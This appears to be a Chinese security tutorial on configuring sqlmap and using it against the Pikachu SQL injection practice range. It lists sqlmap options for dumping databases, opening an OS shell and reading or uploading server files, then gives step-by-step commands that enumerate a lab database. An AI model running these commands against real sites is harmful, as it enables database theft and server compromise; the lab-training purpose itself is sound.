SQL注入篇-sqlmap的配置和使用

在之前的皮卡丘靶場第五期SQL注入的內容中我們談到了sqlmap,但是由于很多朋友看不了解命令行格式,所以是純手動獲取數據庫信息的

接下來我們就用sqlmap來進行皮卡丘靶場的sql注入學習,鏈接:https://wwhc.lanzoue.com/ifJY32ybh6vc

一,python環境配置

使用sqlmap需要用到python環境,所以我們先配置環境

python官方網站:https://www.python.org/

(python是免費的,別到盜版網站上付費使用),可以在download里面下載

根據自己的的電腦情況下載,我這里選擇Windows installer (64-bit)

然后根據他的要求來就行了,一定要打下面的兩個勾,意思是用管理員方式運行和添加到路徑,對于不了解的朋友來說,這是最方便配置的方法了

然后我們選擇上面的install now等待他安裝完成,然后點擊close即可

可以看到他已經配置好了路徑。

二,sqlmap命令

下面是常用的命令,如果希望詳細了解的話可以看一下sqlmap的中文手冊

https://wwhc.lanzoue.com/iSKxA2yegdch(我找不到更新的了所以只有1.4版本的)

GET方式

-u:指定注入的URL ? sqlmap -u URL

--dbs:爆出所有數據庫 sqlmap -u URL --dbs

--dbms:指定數據庫類型 sqlmap -u URL --dbms=mysql

--users:查看數據庫的所有用戶 sqlmap -u URL --users

--current-user:查看數據庫當前用戶 sqlmap -u URL --current-user

--current-db:查看網站當前數據庫 sqlmap -u URL --current-db

--is-dba:判斷當前用戶是否有管理員權限 sqlmap -u URL --is-dba

--roles:列出數據庫所有管理員角色,僅適用于oracle數據庫 sqlmap -u URL --roles

--tables:爆出所有數據表 sqlmap -u URL -D 數據庫名 --tables

--columns:爆出數據庫表所有列 sqlmap -u URL -D 數據庫名 -T 表名 --columns?

--dump:爆出數據庫中列中的所有數據 sqlmap -u URL -D 數據庫名 -T 表名 -C 列名 --dump

--dump-all:爆出數據庫中所有的數據 sqlmap -u URL -D 數據庫名 -T 表名 --dump-all

--sql-shell:獲取數據庫shell ?sqlmap -u URL --sql-shell

--os-shell:獲取服務器shell ?sqlmap -u URL --os-shell

--file-read:讀取服務器文件 ?sqlmap -u URL --file-read "文件路徑及名稱"

--file-write 本地文件 --file-dist 目標文件路徑及名稱:將本地文件上傳至目標服務器

--time-sec=2:延時注入 sqlmap -u URL --time-sec=2

--batch:探測過程中不進行詢問,一律選擇默認

-m:如果有多個url地址,可以把多個url保存成一個文本文件,-m可以加載文本文件逐個掃描

POST方式

-r:指定POST數據文件 ?sqlmap -r post.txt

--data:這種不需要將數據進行保存,只需要將post數據復制下來即可 sqlmap -u URL --data="post數據"

--forms:自動搜索表單的方式 sqlmap -u URL --forms

--cookie="抓取的cookie":測試cookie字段

--param-del:參數拆分字符,當GET型或POST型需要用其他字符分割測試參數的時候需要用到此參數,sqlmap -r post.txt --data="query=foorbar;id=1" --param-del

--referer:在請求中偽造http中的referer,當level參數設定為3或者3以上的時候會嘗試對referer注入

--headers:增加額外的http頭

--proxy:指定代理地址

-p:指定測試參數

三,sqlmap皮卡丘靶場實踐

我們還是以皮卡丘靶場第五期-sql注入模塊為例

我們用字符型做示范,因為前面的數字型只能用他提供的,不方便我們了解sqlmap這個工具

先隨便輸入看看

從url欄中我們可以知道自己的url地址,先復制下來

http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2

然后用sqlmap的-u方式來跑一下

python sqlmap.py -u?"http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2"

(我用終端運行的,所以和cmd的樣式看起來有區別,但本質一樣)

由此,我們可以知道是mysql數據庫并且有name漏洞

獲取數據庫名稱

python sqlmap.py -u?"http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2"?--current-db

可以看到成功了

獲取數據庫的所有表

python sqlmap.py -u?"http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2"?-D pikachu --tables?

成功

獲取表的所有字段(這里以users為例,想要別的表單的字段,把上面獲取的表單名稱換掉就行)

python sqlmap.py -u?"http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2"?-D pikachu -T users --columns

成功

就像套公式一樣就行,大家可以自行嘗試,我就不過多贅述了,只要根據上面常用的公式來就行了

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/83120.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/83120.shtml
英文地址,請注明出處:http://en.pswp.cn/web/83120.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

發立得信息發布系統房屋信息版(php+mysql)V1.0版

# 發立得信息發布系統房屋信息版(phpmysql) 一個輕量級的房屋信息發布平臺,基于PHP和MySQL開發,支持用戶發布房屋出售/出租信息,以及后臺管理功能。 輕量級適合網站開發PHP方向入門者學習,首發版本,未經實際業務流程檢…

學習 React【Plan - June - Week 1】

一、使用 JSX 書寫標簽語言 JSX 是一種 JavaScript 的語法擴展,React 使用它來描述用戶界面。 什么是 JSX? JSX 是 JavaScript 的一種語法擴展。看起來像 HTML,但它實際上是在 JavaScript 代碼中寫 XML/HTML。瀏覽器并不能直接運行 JSX&…

小智AI+MCP

什么是小智AI和MCP 如果還不清楚的先看往期文章 手搓小智AI聊天機器人 MCP 深度解析:AI 的USB接口 如何使用小智MCP 1.刷支持mcp的小智固件 2.下載官方MCP的示例代碼 Github:https://github.com/78/mcp-calculator 安這個步驟執行 其中MCP_ENDPOI…

基于python大數據的口紅商品分析與推薦系統

博主介紹:高級開發,從事互聯網行業六年,熟悉各種主流語言,精通java、python、php、爬蟲、web開發,已經做了多年的設計程序開發,開發過上千套設計程序,沒有什么華麗的語言,只有實實在…

ArcPy擴展模塊的使用(3)

管理工程項目 arcpy.mp模塊允許用戶管理布局、地圖、報表、文件夾連接、視圖等工程項目。例如,可以更新、修復或替換圖層數據源,修改圖層的符號系統,甚至自動在線執行共享要托管在組織中的工程項。 以下代碼展示了如何更新圖層的數據源&…

打開GitHub網站因為網絡原因導致加載失敗問題解決方案

Date: 2025.06.09 20:34:22 author: lijianzhan 在Windows系統中,打開GitHub網站因為網絡原因導致加載失敗問題解決方案 打開Windows系統下方搜索框,搜索Microsoft Store,并且雙擊打開 在應用里面搜索Watt Toolkit,并下載安裝 …

AI代碼助手需求說明書架構

AI代碼助手需求說明書架構 #mermaid-svg-6dtAzH7HjD5rehlu {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-6dtAzH7HjD5rehlu .error-icon{fill:#552222;}#mermaid-svg-6dtAzH7HjD5rehlu .error-text{fill:#552222;s…

.NET開發主流框架全方位對比分析

文章目錄 1. ASP.NET Core核心特性代碼示例:基本控制器優勢劣勢 2. .NET MAUI核心特性代碼示例:基本頁面優勢劣勢 3. Blazor兩種托管模型核心特性代碼示例:計數器組件優勢劣勢 4. WPF (Windows Presentation Foundation)核心特性代碼示例&…

【系統架構設計師-2025上半年真題】案例分析-參考答案及部分詳解(回憶版)

更多內容請見: 備考系統架構設計師-專欄介紹和目錄 文章目錄 試題一(25分)【問題1】(12分)【問題2】(13分)試題二(25分)【問題1】(10分)【問題2】(6分)【問題3】(9分)試題三(25分)【問題1】(13分)【問題2】(8分)【問題3】(4分)試題四(25分)【問題1】(6分)【問題2】(12…

【中間件】Web服務、消息隊列、緩存與微服務治理:Nginx、Kafka、Redis、Nacos 詳解

Nginx 是什么:高性能的HTTP和反向代理Web服務器。怎么用:通過配置文件定義代理規則、負載均衡、靜態資源服務等。為什么用:提升Web服務性能、高并發處理、負載均衡和反向代理。優缺點:輕量高效,但動態處理能力較弱&am…

運動控制--小車的啟動和停止算法

一、現實問題 小車在啟動時由于受到慣性,后輪和前輪速度不一致,會引起車身不穩。 如小車上面裝的是水,會出現傾灑,體驗差。 二、數學研究 啟動時 停止時 急動度(jerk) 三、BLDC控制與S型曲線的融合邏…

WebFuture:Ubuntu 系統上在線安裝.NET Core 8 的步驟

方法一:使用官方二進制包安裝 下載.NET Core 8 SDK 二進制包:訪問 .NET Core 8 SDK 官方下載頁面,根據你的系統架構選擇對應的 Linux x64 版本等下載鏈接,將其下載到本地4. 創建安裝目錄:在終端中執行以下命令創建用于…

可視化預警系統:如何實現生產風險的實時監控?

在生產環境中,風險無處不在,而傳統的監控方式往往只能事后補救,難以做到提前預警。但如今,可視化預警系統正在改變這一切!它能夠實時收集和分析生產數據,通過直觀的圖表和警報,讓管理者第一時間…

深度解析 Linux 內核參數 net.ipv4.tcp_rmem:優化網絡性能的關鍵

文章目錄 引言一、認識 net.ipv4.tcp_rmem1. 最小值(min)2. 默認值(default)3. 最大值(max) 二、net.ipv4.tcp_rmem 的工作原理三、net.ipv4.tcp_rmem 的實際應用場景1. 高并發 Web 服務器2. 文件傳輸服務3…

Windmill:開源開發者基礎設施的革命者

前言 在企業內部,開發者經常需要構建各種內部工具來支持業務運營、數據分析和系統管理。這些工具通常需要前端界面、后端邏輯和工作流編排,開發過程繁瑣且耗時。今天要介紹的Windmill項目,正是為解決這一痛點而生,它讓構建內部工具變得簡單高效,堪稱開發者的得力助手。 …

國產化Excel處理組件Spire.XLS教程:用 Java 獲取所有 Excel 工作表名稱(圖文詳解)

在 Excel 中,工作表名稱通常能夠反映其用途或所含內容,提取這些名稱有助于理清整個工作簿的結構。對于新用戶或協作者來說,僅憑這些名稱就能快速掌握各表中的數據類型。本文將演示如何使用 Java 獲取 Excel 文件中的所有工作表名稱&#xff0…

day49python打卡

知識點回顧: 通道注意力模塊復習空間注意力模塊CBAM的定義 最近臨近畢業,事情有點多。如果有之前的基礎的話,今天的難度相對較低。 后面說完幾種模塊提取特征的組合方式后,會提供整理的開源模塊的文件。 現在大家已近可以去讀這類…

day27-shell編程(自動化)

1. 準備工具 添加到/etc/vimrc autocmd BufNewFile *.py,*.cc,*.sh,*.java,*.bash,Dockerfile,docker-compose.yml exec ":call SetTitle()"func SetTitle() if expand("%:e") ~ sh\|bash call setline(1,"#!/bin/bash")call setline(2, &quo…

【免殺】C2免殺技術(十五)shellcode混淆uuid/ipv6/mac

針對 shellcode 混淆(Shellcode Obfuscation) 的實戰手段還有很多,如下表所示: 類型舉例目的編碼 / 加密XOR、AES、RC4、Base64、Poly1305、UUID、IP/MAC改變字節特征,避開靜態簽名或 YARA結構偽裝PE Stub、GIF/PNG 嵌入、RTF OLE、UUID、IP/MAC看起來像合法文件/數據,弱…

Vite中定義@軟鏈接

在webpack中可以直接通過符號表示src路徑,但是vite中默認不可以。 如何實現: vite中提供了resolve.alias:通過別名在指向一個具體的路徑 在vite.config.js中 import { join } from pathexport default defineConfig({plugins: [vue()],//…